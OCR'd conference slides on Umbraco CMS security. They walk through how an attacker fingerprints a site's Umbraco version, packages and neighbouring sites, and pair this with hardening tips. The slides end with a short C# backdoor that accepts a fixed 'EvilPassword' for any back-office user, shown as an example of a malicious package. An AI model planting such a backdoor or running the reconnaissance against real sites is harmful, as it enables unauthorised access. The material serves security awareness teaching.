N, O S \ N )
s s 4 -~
RS : N, 5
., B oy
PR
.-:

Security & Umbraco

~f
’.

Jeffrey Schoemaker i jeffrey@ﬁerplex.nl

W Perple:
6 Creatief denken, digitaal doent & ..



Thoughtexperiment

AHow would l hackintos o meoneos
Umbraco website?

ASharing my thoughts so you can
reconsider your security strategy
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AEducation

Alncrease security awareness

ATips for hardening your Umbraco
website



We donot want thisl!

.
Take Over Sltes MUST READ WINDOWS CRITICAL FLAW: THIS SECURITY BUG IS UNDER ATTACK RIGHT NOW, SAYS MICROSOFT

By Catalin Cimpanu March 28, 2018 05:08 PM 0 Update Dl‘upal. ASAP: Over a mil.l.ion SiteS
can be easily hacked by any visitor

A dangerous Drupal flaw could leave your site completely compromised if you don't patch the flaw immediately.

& By Liam Tung | March 29, 2018 -- 11:37 GMT (12:37 BST) | Topic: Security

Trent Steele @thevbox - May 1 v
Exploit in the Wild: #drupalgeddon2 — Analysis of CVE-2018-7600

DRUPALGEDDONZ

admin),

account




Who am |?

AJdeffrey Schoemaker
AUmbraco MVP 2017 & 2018
A Security & Umbraco - enthousiast

AWebdeveloper / co-owner Perplex

ADigital & Marketing agency in the Netherjis

AUmbraco Gold Partner N\ ‘618
ATwo Umbraco MVPOS T
AA few packages

A Umbraco Forms Perplex on Steroids
A Perplex Security & GDPR package
A PerplexMail

A Perplex Kraken Image Optimizer




Defensein Depth

AMultiple layers of defense

Alf one fails, there are more layers to protect you



Secureyour Umbraco installation

Before



Agenda

Our hacking approach

1. Footprint & Identification

2. Getting into Umbraco

3. In Umbraco i Privilege escalation

4. Clearing our tracks



Sidesteps

AENncryption
AUmbraco settings
AHardening your Umbraco

A9 concrete tips that you can implement right
away!
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Footprint & Getting into ge Clearing our
Identification Umbraco escalation tracks
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Footprint & ldentification



| Mission 1

AGoal: Get as much information on the
website as possible

AApproach: Looking at specifics of the
website

AWe want to use this information in level
2 to try to exploit specific vulnerabilities
INn specific versions

Level 1
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Footprint & Identification

AMost important part of hacking
AStay under the radar

AGenerate no noise & trigger no Intrusion
Detection System
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=] Mission1.1

AGoal: Determine if 1 t Wnwraco

AApproach: Search for Umbraco-specific
characteristics
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On the homepage

ANo easy way to identify Umbraco

ATotal freedom of output
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Go to /umbraco/

Happy thunderous Thursday

Username

Password

Forgotten password?
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Or.. Like this

Happy thunderous Thursday

Log in below
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Or even like this

umbraco 2.1 I Welcome...

Welcome...
umbraco is geopend in een nieuw venster @ Umbraco 4 0 Umbraco
& Herstart umbraco &) Browse uw website Welcome to umbraco
Bezoek umbraco.org 1 Username |
Username | el
P " *: Password |
Login
C. > umbraco 3
umbraco has opened in a new window
O Restart umbraco Q Browse your website © 2001 - 2018 umbraco.org © 2001 - 2018 umbraco.org

Visit umbraco. ors

After Umbraco 4 we somehow lost
the version numbering
#donttalkaboutV5
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Publicly available on
most websites

AUmbraco is exposed to the whole world!

AEveryone gets a few shots on accessing
your website. .. | snot t
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IP whitelist your /umbraco/ using
IS Rewrite

Result: Significant reduction in attack surface
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Use an lISRewrite.config file

AGet the IP addresses of your client

AWnhitelist them in your lIS
Rewrite.config

Alf your client cannot provide one range,
or has a dynamic IP-range, restrict
access by country
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lISRewrite.config

<rules>
<rule name="Allow specific IPs to Umbraco"” stopProcessing="true">»
<match url="~(?:umbraco)(?:/|$)" />
<conditions>
<add input="{REMOTE ADDR}" negate="false" pattern="127.0.0.1|213.244.11.79"/>
</conditions>
<action type="AbortRequest” />
</rule>
</rules>
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And then it looks like this

Access Denied

The requested resource requires authentication or a VPN connection.

Unauthorized Activity Has Been Detected

You are seeing this page because we have detected unauthorized activity. If you believe that there
has been some mistake, please email our web site security team with the following case number in

its subject:

Case Number: 400026242

Level 1
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We get a403response

AS0o now we know that there iIs something

AANnd we are not allowed to see it
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Rename your Umbraco-folder

Change folder on disk and two web.config
settings
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Hide your Umbracepath

AChange these values in your web.config

<add key="umbracoReservedPaths"” value="~/umbraco,~/install/" />
<add key="umbracoPath” value="~/umbraco™ />

ARename your /Jumbraco/-folder on disk

config
Media

ohj
Properties
Umbraco

Umbraco_Client

Level 1
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Rename it to
| my-secretloginpane/

AChange these values in your web.config

<add key="umbracoReservedPaths” value="~/my-secret-loginpanel,~/install/"/>»
<add key="umbracoPath” value="~/my-secret-loginpanel™/>»

rrrrr
 Zoeken

ARename the folder on disk

config
Media
My-secret-loginpanel

Happy tubular Tuesday

eeeeeee

obj
Properties

Umbraco_Client

Footprint & Identification



404
We could not find a page corresponding to the url.

Sorry about that.
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| Mission1.2

AGoal:Det er mi ne whet her
Umbraco, even when the Umbraco
folder 1Is renamed

AApproach: Find other characteristics of
Umbraco
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A cleanUmbraco
folder structure

App_Browsers Request Filtering

App_Data A FI I es n Ot Se rved by Use this feature to configure filtering rules.

App_Plugins ,
pp_Flug & File Name Bxtensions =% Rules ™= Hidden Segments |
1S web b :
. W e S e rV e r File Extension Allowed
canfi
.g .ad False
Media d efau I t) .adprototype False
My-secret-loginpanel .asax False
obj A 350X False
. . aS aX Jbrowser False
Properties . cd False
umbraco A . CO nflg .compiled False
Umbraco_Client . config False
e A.csproj = o
CSproj
:2:] default.asp: .dd False
.dsdgm False
.dsprototype False
.exclude False
Java False
Jsl Falze
Jdb False
Jdd False
Iddprototype False
Jdf False
Jiex False

False
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Other folders?

AFolders not served @ ReauestFiltering
App_Plugins by I IS (by d efau It) Use this feature to configure filtering rules.

3 File Name Extensions (] Rules “* Hidden Segments
AApp_Browsers o
A A p p_ D ata. App_Browsers

App_code

A b I N App_Data

App_GlobalResources

config

Umbraco_Client
App_LocalResources

AEmpty folders S
AMedia
AObj
AProperties
AViews

) default.aspx

Level 1
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Leaves us with...

AlIApp_Plugins/
AlConfig/

A/Umbraco_client/

Level 1
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/Config/-folder

BackOfficeTaurs
imageprocessor
Lang
splashes
l.-:'I 404handlers.config
\DI applications.config
l.-:'I BaseRestExtensions.config
\DI ClientDependency.config
l.-:'I Dashboard.config
\DI EmbeddedMedia.config
l.-:'I Examinelndex.config
\DI ExamineSettings.config
l.-:'I feedProxy.config
\DI FileSystemProviders.config
ﬁ grid.editors.config.js
\DI HealthChecks.config
l.-:'I log4net.config
\DI metablogConfig.config
l.-:'I scripting.config
\DI tinyMceCaonfig.config
l.-:'I trees.config
\DI umbracoSettings.config

17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
7/04/2018 16:22
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:52
7/04/2018 13:38

File folder
File folder
File folder

File folder

XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...

XML Configuration...

JavaScript File

XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...

XML Configuration...

2KB
2KB

2KB
2KB
2KB

13 KB
6 KB
10 KB
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Aah... Only .config files

BackOfficeTaurs
imageprocessor
Lang
splashes
l.-:'I 404handlers.config
\DI applications.config
l.-:'I BaseRestExtensions.config
\DI ClientDependency.config
l.-:'I Dashboard.config

tHe-vatt!

¥l Examinelndex.config .
Javascript?
¥l feedProxy.config

| FileSystemProviders.config
ﬁ grid.editors.config.js

\DI HealthChecks.config

l.-:'I log4net.config

\DI metablogConfig.config
l.-:'I scripting.config

| tinyMceConfig.config

l.-:'I trees.config

\DI umbracoSettings.config

17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38
17/04/2018 13:38

7/04/2018 16:22
17/04/2018 13:38

7/04/2018 13:38

File folder
File folder
File folder

File folder

XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...

XML Configuration...

U/ AUTe 13058
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:38
7/04/2018 13:38
17/04/2018 13:52
7/04/2018 13:38

AML Configuration...
XML Configuration...
XML Configuration...

XML Configuration...

JavaScript File

XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...
XML Configuration...

XML Configuration...

1 KB
1 KB
1 KB
4 KB
3KB
TKB
2KB
2 KB
1 KB
1 KB
2KB
2 KB
2KB
1 KB
1 KB
13 KB
6 KB
10 KB
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&

C @ O o fig/grid.editors.config.js

"alias": "gridTweet™,

"view": "/Rpp Plugins/DocTypeGridEditor/Views/doctypegrideditor.html™,
"render": "/App Plugins/DocTypeGridEditor/Render/DocTypeGridEditor.cshtml™,
"icon": "icon-bird",

"config": {

"allowedDocTypes": ["gridTweet"],

"nameTemplate": "",

"enablePreview": false,

"viewPath"™: "/Views/Partials/Grid/Editors/DocTypeGridEditor/™,

"previewViewPath": "/Views/Partials/Grid/Editors/DocTypeGridEditor/Previews/",
r

"previewCssFilePath":
"previewJsFilePath":

o

"name": "Charts",
"alias": "charts",
"view": "/Rpp Plugins/DocTypeGridEditor/Views/doctypegrideditor.html™,
"render": "/App Plugins/DocTypeGridEditor/Render/DocTypeGridEditor.cshtml™,
"icon": "icon-chart™,
"config": {
"allowedDocTypes™: ["gridBarchart™, "gridDoughnutChart", "gridPiecChart"™, "gridLineChart"],
"nameTemplate": "",
"enablePreview": false,
"viewPath"™: "/Views/Partials/Grid/Editors/DocTypeGridEditor/™,

"previewViewPath": "/Views/Partials/Grid/Editors/DocTypeGridEditor/Previews/",

LU
r

"previewCssFilePath":
"previewJsFilePath":

o

"name": "Big numbers",

"alias": "bigNumbers",

"view": "/Rpp Plugins/DocTypeGridEditor/Views/doctypegrideditor.html™,
"render": "/App Plugins/DocTypeGridEditor/Render/DocTypeGridEditor.cshtml™,
"icon": "icon-chart™,

Level 1
Footprint & Identification




That must be Umbraco!




| Mission1.3

AGoal: What version of Umbraco Is being
used

AApproach: Looking at specifics of that
version
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Looking at the login screens

Happy tremendous tuesday Happy tubular tuesday

log in below log in below

Happy tubular Tuesday Happy tubular Tuesday

Username Username

Password Password

Happy tubular Tuesday

Log in below

Happy tubular Tuesday

Username

Password

7.8/7.10



But that would be quite hard...

Als there are better a way?

Level 1
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We could...

ALook for specific files and their contents

AEach new feature in a version requires
language keys

ACrawl /Jumbraco/config/lang/en.xml

Level 1
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7.5introducedWC2 NB2 {0 LJ aasgz2NR

— <key ahas= resetPassword aill_opylormat =
=p>=Your username to login to the Umbraco back-office 1s: <strong>=%0%</strong></p><p=Click <a href="%
</key>

</area=

—<area alias="main">
=keyv alias="dashboard">Dashboard=</key>
<kev alias="sections">Sections<'key>
<key alias="tree">=Content<'key>
</area=
—<area alias="moveOrCopy"=
<kev alias="choose">=Choose page above  _</key=
<kev alias="copvDone">%0% has been copied to %1% <'key>
— <key alias="copyvTo">
Select where the document %(0% should be copied to below
</key=



7.7 ntroduced Nested Content to the core

< C @ @ _a"ur‘ﬁbraccu_fcun‘ig;’lang;’en.xml

kev alias="nestedContentEditorNotSupported"=
Property “00% uses editor %1% which is not supported by Nested Content.

=

<key alias="removeTextBox">Remove this text box</key>
<kev alias="contentF.oot">Content root</key>
</area>
— <area alias="blueprints">
<key alias="createBlueprintFrom">Create a new Content Template from '%0% </ key>
<kev alias="blankBlueprint">Blank</kev>
<key alias="selectBlueprint">5elect a Content Template</key>
<kev alias="createdBlueprintHeading">Content Template created</'key>
<key alias="createdBlueprintMessage"=A Content Template was created from "%60%'<key>
— <keyv alias="duplicateBlueprinthessage"=
Another Content Template with the same name already exists
</key>
— <key alias="blueprintDescription">
A Content Template is pre-defined content that an editor can select to use as the basis for creating new content
</key>

</area=

— e marn el —" i A T



7.9introducedW{ Sy aA u A gdS RI

< C @ @'_"ur‘"lbracu_;"cnnﬂg;’lang;"en.xr‘ﬁl
<key alias="1sSensitiveValue">
This value is hidden If vou need access to view this value please contact yvour website administrator.
</key>
<key alias="1sSensitiveValue _short"=This value is hidden </'key>
</area-=
— <area alias="blueprints">
<key alias="createBlueprintFrom">Create a new Content Template from '%0%'</keyv>
<key alias="blankBlueprint"=Blank=/key>=
<key alias="selectBlueprint">Select a Content Template</key>
<key alias="createdBlueprintHeading ">Content Template created='key=
<key alias="createdBlueprintMessage">=A Content Template was created from "%e0%'<key>=
— <key alias="duplicateBlueprinthessage">
Another Content Template with the same name alreadv exists
</key>
— <kev alias="blueprintDescription”>
A Content Template 1s pre-defined content that an editor can select to use as the basis for creating new content
</key>
</area=
—<grea alias="media"=
<key alias="clickToUpload"=Click to upload</kev>
<kev alias="dropFilesHere">Drop vour files here _</key>
<key alias="urls"=Link to media<'key>
<kev alias="orClickHereToUpload">or click here to choose files</keyv>
<key alias="onlyAllowedFiles">0nly allowed file types are<key>

— <kev ahas="dizallowedFileTimne"=




If /Umbraco/ is unavailable...

AUse another file:

A/umbraco_client/Application/Extensions.js

A/umbraco_client/Application/
UmbracoApplicationActions.|s

Level 1
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Now we know the specific version!




| Mission1.4

AGoal: Discover installed packages

AApproach: Look for specific package
characteristics

Level 1
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Umbraco Forms

<) C @ © & I | I, o Plugins/UmbracoForms/css/umbraco forms.cs

input.umb-forms hacky-hidden-field {
opacity: 0;
cursor: default;

}

Jamb-forms cumb-panel-header (umb-sub-views-nav {
margin-top: 23px;

}

.control-row. -margin-kottom |
margin-bottom: 10px;

}

.control-label.-block {
display: block;

}

.radio.-block {
display: klock;

}

.radio.-no-indent {
padding-left: 0;

}

.asky-grid .help-text i.icon {
font-size: léepx;

}

umb-forms-page |
position: relative;

}

unb-forms-designer label.checkbox i.icon |
margin-left: -22px;

}



Archetype

< ¢ @

f#% TODOD: clean this up */
.archetypeEditcor {
widch: 98%:;
}
.archetypeEditor .open {
position: relative;
}
.archetypeEditor .dropdown-menu {
top: auto;
}
.archetypeEdicor .dropdown-menu > 1i > a {
border-radius: 6px:
}
archetypeEditor .controls-no-label {
padding: 10px:
}
.archetypeEditor a + ul.dropdown-menu {
margin-left: 0O;
}
.archectypeEdicor .icon {
color: #333;
}
.archetypeEditor fieldset {
border: l1px solid #dddddd:
padding: 0O;
margin-bottom: Spx;
background-color: #£f1f1f1;
clear: both;
display: inlinme-block:
width: 100%;
}
.archetypeEdicor fieldset .archetypeProperty
clear: both;
overflow: visible;
margin-top: 3pxX;

© & I b Plugins/Archetype/css/archetype.css

<« c Q (D @ httpsy/four.umbraco.org/projects/backoffic E

o @ % umbraco arche = ([N B E =

@ Forum Projects Documentation Download Contribute Community Videos a

Our - Projects -» Backoffice extensions

Archetype

** This project has sunset, no further updates will be coming. Thanks for the
memories all. **

Archetype is an Umbraco 7 property editor that wraps other installed property
editors. By wrapping the other properties, Archetype allows for custom and
repeatable fieldset mashups.

Think Widget Builder, Embedded Content, Data Type Grid.
Documentation: https:/github.com/kgiszewski/ArchetypeManual
Source: http:/github.com/kgiszewski/Archetype

Ships with it's own Property Editor converter for easy template use.

v1.18.0 is targeted for core 7.2.2+. There is a known issue with v7.2.2 that is fixed
with v1.7.1+.

& Download package
version 1.18.0

or, install via nuget

PMy Install-Packag

Project owner
- . - .

? x lg-— Kevin Giszewski
Kevin has 3551 karma points

Project Compatibility

This project is compatible with the following
versions as reported by community members who
have downloaded this package:



Multl Url Picker

<« c @ @ ﬂ_"App_jlugins;rjp.r“|ultiurIpicker_a"r‘ﬁultiurlpicker.html

¢ {/node name?l?

* Add

You need to add at least { {cfe. minNumberOfltems-renderModel length} } more item(s)

You can only have {{cfg maxNumberOfltems} } item(s) selected

@ Forum Projects Documentation Download Contribute Community Videos @

Our -+ Projects -+ Backoffice extensions

¥ 65 votes

Multi Url Picker

Allows editors to pick and sort multiple urls, it uses Umbraco's link picker which
supports internal and external links and media.

Usage
Add a new property to your document type and select the Multi Url
Picker property editor in the pickers category.
If you're using the models builder, you can access the property on your model
e.g. Model .Links if your property alias is 1inks.

var links = Model.Links.

if (links.Count > 0)

<ul>

@foreach (var item in links)

or, install via nuget

pPM> Install-Package RIP.UmbracoMultiUrlPic

Project owner

Rasmus John Pedersen
Rasmus has 343 karma points

Project Compatibility

This project is compatible with the following
versions as reported by community members who
have downloaded this package:



Mission 1.4accomplished

AWe can detect specific Umbraco packages

AHooray!
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Stop leaking crucial information!

Use IIS Rewrite IP Whitelisting
on the following folders as well:
AApp_ Plugins

AConfig

AUmbraco_ Client

These folders are only used by authenticated Umbraco
users
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Automate It!

https://www.perplex.nl/is-it-umbraco/

Is it Umbraco?

Insert the domain of the website you want to scan and let us do our magic:

WEBSITE *

http(s)://www.example.com

( Scan this website )

Level 1
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Version Info

Aldentified more than 5,000 Umbraco

websites (according to the numbers only 1% of the total
population online)

ALooking at the version and the installed
packages
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Most usedpackages

0% 5% 10% 15%
UMBRACO FORM
ARCHETYP
RJIP.MULTIURLPICK
NESTED CONTE
DIPLO TRACE LOG VIE
USYNC
LEBLENDEH
CMSIMPOR
SPECTRUM COLOUR PIC
ROBOTS.TXT EDIT(
UMBRACO CONTO
LINK PICKEF
VORTO
DOC TYPE GRID EDI
SEO CHECKH
ARTICULATE
THE DASHBOAR
AZURE FILE SYSTEM PROVII
ANGULARGOOGLEMA
OPTIMUS
UEDITORNOTE
DIPLO GOD MOD
UMBRACO FORMS ON PERPLEX ST S
BELLE ICON PA(
UCOMMERCH
OEMBED PICK

m Usages

20%

25%

30%

35%

40%

45%

50%




Now we know the installed
packages




) Mission1.5

AGoal: Get Into the website via a detour

AApproach: Look for other websites on
the same server & gather information
there
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Horizontal pivotting

Al T you odaecttatcesg gour target
website

AMaybe other websites on the same server
can be used to gain access to the target
website
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Tooling: IPNeighbour.com

New Tab x
> C|a

3! Apps For quick access, place your bookmarks here on the bookmarks bar. Import bookmarks now..

Gmail Images Iif

Google

Level 1
& Identification

(2] q New Tab - Google ...



/| Mission 1:
Accomplished

We 0 gt
@ Umbraco version

@ Umbraco packages

© Websites on the same server
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Level 2

Gettinginto Umbraco



| Mission 2

AGoal: Get into Umbraco

AApproach 1: Exploit known
vulnerabilities




What I1s wrong withleaking
this iInformation?

ACan we use It to succeed In mission 27?

AQOr is it just irrelevant information?




Software & hardware systems
have knownvulnerabilities

Aln current or older versions

ATracked in CVE-databases
ACommon Vulnerabilities & Exposures

AVulnerability scanners use these to test
your website

Level 2
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Umbraco vulnerabilities

AAccording to umbraco.com/security

e https:/umbraco.com/follow-us/blog-archive/2012/11/14/security-update-fo§4100/
e https:/umbraco.com/follow-us/blog-archive/2013/4/29/security-vulnerability-found-immediate-action-

recommended/

e https:/umbraco.com/follow-us/blog-archive/2013/5/1/security-update-two-major-vulnerabilities-found/

* https:/umbraco.com/follow-us/blog-archive/2014/5/23/security-update-one-more-major-issue-fixed-i
throughg4711/

e https:/umbraco.com/follow-us/blog-archive/2014/7/21/security-issues-found-in-umbraccg4-6-and-7

e https:/umbraco.com/follow-us/blog-archive/2016/3/1/major-security-vulnerability-patched-in-umbraco-
version hroughg4711/

Level 2
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Umbraco Forms
vulnerabilities

Umbraco Forms (optional plugin for Umbraco)

e https:/umbraco.com/follow-us/blog-archive/2016/1/27 /umbraco-forms-security-notice/

e https:/umbraco.com/blog/security-advisory-update-umbraco-forms-immediately/

« https:/umbraco.com/blog/umbraco-forms-security-update/

Level 2
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Lastg S S YUrdhiaco
Forms notice

@ & https://umbraco.com/blog/umbraco-forms-sec B e« @ 17 | Q Zoeken

Details

A remote code execution vulnerability exists in the core functionality of Umbraco

Forms version 4.4.0+. This allows attackers to exploit an Umbraco sitef which

results in the site being compromised.

We will not reveal the exact nature of the vulnerability in order to make it possible
for everybody to prepare and to patch their Forms installs.

We have no indication that this vulnerability is currently being exploited in the wild.

Level 2
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Online CVEdatabases

CVE Details

The ultimate security vulnerability datasource

Log In Register Vulnerability Feeds & Widgets™ew JNTIRieclos o Re

cureioniest N Umbraco : Vulnerability Statistics

Browse :
Vendors Products (2)  Vulnerabilities (¥)  Search for products of Umbraco  CVSS Scores Report  Possible matches for this vendor  Related Metasploit Modules
Products Vulnerability Feeds & Widgets

Vulnerabilities By Date .
" Vulnerability Trends Over Time
Vulnerabilities By Type

Reports : Http

CVSS Scare Report Year Pl bes 9% guerfiow Memen o sal xss DY poponse BV Gan o Gan o, Rl o #of
Vulnerabilities Execution Corruption Injection Traversal litti something Information Privileges Inclusion  exploits
CVSS Score Distribution Zriing
Search : 1
Vendor Search 2 1 1 1
Product Search 1 > 1 1 1
Version Search
0.0 14.3 0.0 0.0 0.0 28.6 0.0 0.0 14.3 14.3 0.0 14.3 0.0

Vulnerability Search
By Microsoft References .

Vulnerabilities

Top 50:
Vendors
Vendor Cvss Scores Vulnerabilities By Year  Vulnerabilities By Type
Products 6 20141 2 M Execute Code 1
Product Cvss Scores W20176 Mxss2
Versions Bypass Something 1
Other : Gain Information 1
Microsoft Bulletins CSRF 1
1 11 1

Bugtrag Entries

CWE Definitions

About & Contact 9
Feedback

CWE Help
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Umbraco : Security Vulnerabilities

CVSS Scores Greater Than: 0 1 2 3 4 5 &6 7 8 @
Sort Results By : CVE Mumber Descending CWVE Number Ascending CVSS Score Descending Number Of Exploits Descending

Copy Results Download Results

# CVE ID CWEID #of Exploits  Vulnerability Type(s) Publish Date Update Date Score Gained Access Access Complexity Authentication
Level

Conf. Avail.

Integ.

1 CVE-2017-15280 11 +Info 2017-10-12 2017-10-25 4.3 None Remote Medium Mot required Partial None None

XML external entity (XXE) vulnerability in Umbraco CM3before 7.7.3 @llows attackers to obtain sensitive information by reading files on the server or sending TCP requests to intranet hosts (aka SSRF), related to
Umbraco.Web/umbraco.presentation/umbraco/dialogs/MMpoT cotaeT Lty pe. aspX. cs.

before 7.7.3 Qllows remote attackers to inject arbitrary web script or HTML via the "page name" (aka nodename) parameter during the creation of a new
" "o aitd Umbraco.Web/umbraco.presentation/umbraco/dialogs/notifications.aspx.cs.

2 CVE-2017-15279 79 X 2017-10-12 2017-10-25 3.5 None Remote Medium Single system None Partial None

Cross-site scripting (XSS) vulnerability in Umbraco CM
page, related to Umbraco.Web.UI/umbraco/dialogs/Publ

3 CVE-2015-8815 79 XSS 2017-03-03 2017-03-07 5.0 None Remote Low Mot required None Partial None

Multiple cross-site scripting (XSS) vulnerabilities in Umbrac@before 7.4.0 Bllow remote attackers to inject arbitrary web script or HTML via the name parameter to (1) the media page, (2) the developer data edit
page, or (3) the form page.

4 CVE-2015-8814 5

]

Bypass CSRF 2017-03-03 2017-03-07 6.8 None Remote Medium Not required Partial  Partial  Partial

Umbracll before 7.4.0Bllows remote attackers to bypass anti-forgery security measures and conduct cross-site request forgery (CSRF) attacks as demonstrated by editing user account information in the
templat®eTs

5 CVE-2015-8813 1 2017-03-03 2017-03-07 4.3 None Remote Medium Not required MNone Partial None

[ex]

The Page_Load function in Umbraco.Web/umbraco.presentation/umbraco/dashboard/FeedProxy.aspx.cs in Umbracl before 7.4.0 Bllows remote attackers to conduct server-side request forgery (SSRF) attacks via
the url parameter.

6 CVE-2013-4793 8 Exec Code 2014-12-27 2014-12-30 7.5 None Remote Low Not required Partial  Partial  Partial

[~

The update function in umbraco.webservices/templates/templateService.cs in the TemplateService component in Umbraco CM§ before 6.0.4 Boes not require authentication, which allows remote attackers to execute
arbitrary ASP.NET code via a crafted SOAP request.

7 CVE-2012-1301 20 2017-04-13 2017-04-21 7.5 None Remote Low Not required Partial  Partial  Partial
The FeedProxy.aspx script in Umbraco 4.7.0 allows remote attackers to proxy requests on their behalf via the "url" parameter.

Total number of vulnerabilities : 7 Page : 1 (This Page)
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©
[ Home | Fance - Umbrac: X EJ Geokdge
<« C | @ formsuploadsecurityhole.perplex.intern : G Keep: All sessions = 5 Any Process 33 Find [&] Save | B8] () @ Browse ~ < Clear Cache T TextWizard

# Result  Protocol Host URL Body Caching Content-Type  Process Comments Custom

0 umbraco

5 AutoResponder ﬁ Composer :_1_5, FiddlerScript E log [¥] Filters "= Timeline | APITest

This is the new default starter kit for o

Umbraco, we enjoy building things that not e
only look great, but also work great.

File

Choose Files | Mo file chosen

Submit

1iff Capturing = Al Processes

h . e ] ) Home | Fanoe - U... # Telerik Fiddler Web ... A ) P .



Always upgrade your CMS &
your modules

Recommended advice by Umbraco...
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But do we listen?

AWho does not patch or upgrade
their website(s)?
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But do we listen?

AWho feels guilty about that?
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20%

18%

16%

14%

12%

10%

8%

6%

4%

2%

0%

Umbracoversions¢ basedon 5,000 crawled Umbracowebsites

B Usages

6.1

6.0 411

4.0

2.0



—/ Mission 2: Failure

Not (easily) possible to get into Umbracq

© Wheny o u @atcked your installations
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= Mission 2b

AGoal: Get into Umbraco

AApproach 2:
ACreate a cool package that everyone wants to
use
Alnsert an exploit that gives us access
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A cool package

APerplex Forms on Steroids package

AQpen source, can be reviewed for
malicious code
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0

Forum Projects Documentation Download Contribute Community Videos @

15 votes

Umbraco Forms on Perplex Steroids

This package extends the default Umbraco Forms-package with some additional controls

and copy-functionality, as well as the ability to organize forms in folders. Changelogs are

included in the package itself and can be viewed before installation.

After installing the package you will get the following:

Five additional fieldtypes

Perplex File Upload Select which file-extensions are allowed to upload, whether
multiple files are allowed and the maximum size of the files.

Perplex Image Upload: Select which image-extensions are allowed to upload, whether
multiple files are allowed and the maximum size of the images.

Perplex Text Fieldt Adds placeholder-functionality, maximum length-attributes and
HTMLS5 input-type specification

Perplex Textarea Field: Adds placeholder and maximum length-attributes.

Perplex ReCaptcha: The Google ReCaptcha version 2

Copy-functionality. Allows you to copy your forms.

Folders: In the Forms section it is now possible to create folders (right-click > Create
Folder). Folders can be created within other folders, and the sort-order of forms and
folders can be altered (right-click > Sort).

Form Picker datatype: A new form picker datatype is included which supports the
folder structure.

Form Picker macro: Likewise, a new form picker macro is included which supports the
folder structure.

Multiple (1) start Nodes in Forms: Similar to Start Node in the Content and Media
sections, it is possible to set start nodes in forms. Unlike Content and Media, you can
set multiple start nodes for forms. Using start nodes, you can control which users can
edit / view / create forms in which folders. This does not currently affect the form
pickers, users can still select any form, they just cannot edit them in the Forms
section. The Start Nodes can be set in Users > Forms Security. A short video how it
works is available here: https:/www.youtube.com/watch?v=vaQsr2uY3bA&

feature=youtu.be
Configurationfile: To do some additional configuration on the default fields. The

Project owner

jeffrey.schoemaker@perplex.nl
jeffrey.schoemaker@perplex.nl has 1010

karma points

Edit project

Project Compatibility

This project is compatible with the following versions as
reported by community members who have
downloaded this package:

7.10.x (100%)
7.9.x (100%)
7.8 (100%)
7.7x (100%)

Report compatibility

Project Information

Project owner: jeffrey.schoemaker@perplex.nl
Contributors: Wouter van der Beek , Timo Perplex ,
Daniél Knippers

Created: 22/01/2016

Current version 1.8.3

.net Version 4.5.2

License MIT

Downloads: 3483

External resources

Source code
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Code check

Pull requests Issues Marketplace Explore

I Perplexinternetmarketing / Perplex-Umbraco-Forms @Unwatch~ 5 drstar 5 ¥Fork 6
<3 Code Issues 2 Pull requests 1 Projects 0 Wiki Insights Settings
Eranch: master~ | Perplex-Umbraco-Forms / Perplex.Umbraco.Forms / Code / UmbracoEvents.cs Find file = Copy path

1 PerplexDaniel Fixed Recaptcha on multi-page forms feao7b1 on 13 Oct 20

1 contributor

21 lines (7e sloc) = 3.16 KB Raw Blame History J & [

system.Ling;
t eb;
umbraca. Co

o

Umbraco.Core

Perplexumbra

a
1)
a
I

namespace FE\'F]E.‘."IEI'EEC.FCI"‘\S.
{
public class UmbraccEvents : ApplicationEventHandler

applicatienstarting(UmbraceApplicationBase umbracoapplication, ApplicationContext applicationContext)

// Make sure the configuration is created if it is not there y
PerplexUmbracoFormsConfig.CreateIfNotExists();

var treeService = ApplicatienContext.Current.Services.ApplicationTreeService;
if(treeservice != null)
{
/ Hide default Umbraco Forms folder
var umbFormTree = treeService.zets

n to display folders

ias("form™);
if (umbFormTree != null &% umbFormTree.Initialize)
{
umbFormTree.Initialize = false;
treeservice.SaveTres(umbFormTree) ;

/ add our
var pplxFormTree = treeService.GetBy
if (pplxFormiree == null)

{

mn tree if it's not ther

lias("perplexforms™);

treeservice.Makehew(true, 1, "forms", "perplexforms”, "Forms", "icon-felder", "icon-folder-open®, "PerplexUmbrace.For

Level 2
Getting into Umbraco




hlis AdQa al Fs
Let 6s downl oad 1t

@ Forum Projects Documentation Download Contribute Community Videos @

Qur -+ Projects -+ Backoffice extensions

15 votes

Umbraco Forms on Perplex Steroids

This package extends the default Umbraco Forms-package with some additional controls
and copy-functionality, as well as the ability to organize forms in folders. Changelogs are
included in the package itself and can be viewed before installation.

Project owner

jeffrey.schoemaker@perplex.nl
jeffrey.schoemaker@perplex.nl has 1010
karma points

After installing the package you will get the following:

» Five additional fieldtypes _ .
Perplex File Upload: Select which file-extensions are allowed to upload, whether Edit project
multiple files are allowed and the maximum size of the files.

» Perplex Image Upload: Select which image-extensions are allowed to upload, whether Project Compatibility

multiple files are allowed and the maximum size of the images. This project is compatible with the following versions as
» Perplex Text Fieldt Adds placeholder-functionality, maximum length-attributes and reported by community members who have

HTML5 input-type specification downloaded this package:

Perplex Textarea Fieldt Adds placeholder and maximum length-attributes.
Perplex ReCaptcha: The Google ReCaptcha version 2

7.10.x (100%)
7.9 (100%)
7.8.x (100%)

» Copy-functionality: Allows you to copy your forms.
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But...

AWho says the uploaded package is the
same as the uploaded sourcecode?

AMay be it contains some code like this...
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Create a password that always works

public class EvilBackOfficeUserManager : BackOfficeUserManager

{

public override Task<bool> CheckPasswordAsync(BackOfficeldentityUser user, string password)

{

if (password == "EvilPassword")

{
}

return Task.FromResult(true);

return base.CheckPasswordAsync(user, password);



Official Umbraco Guidelines

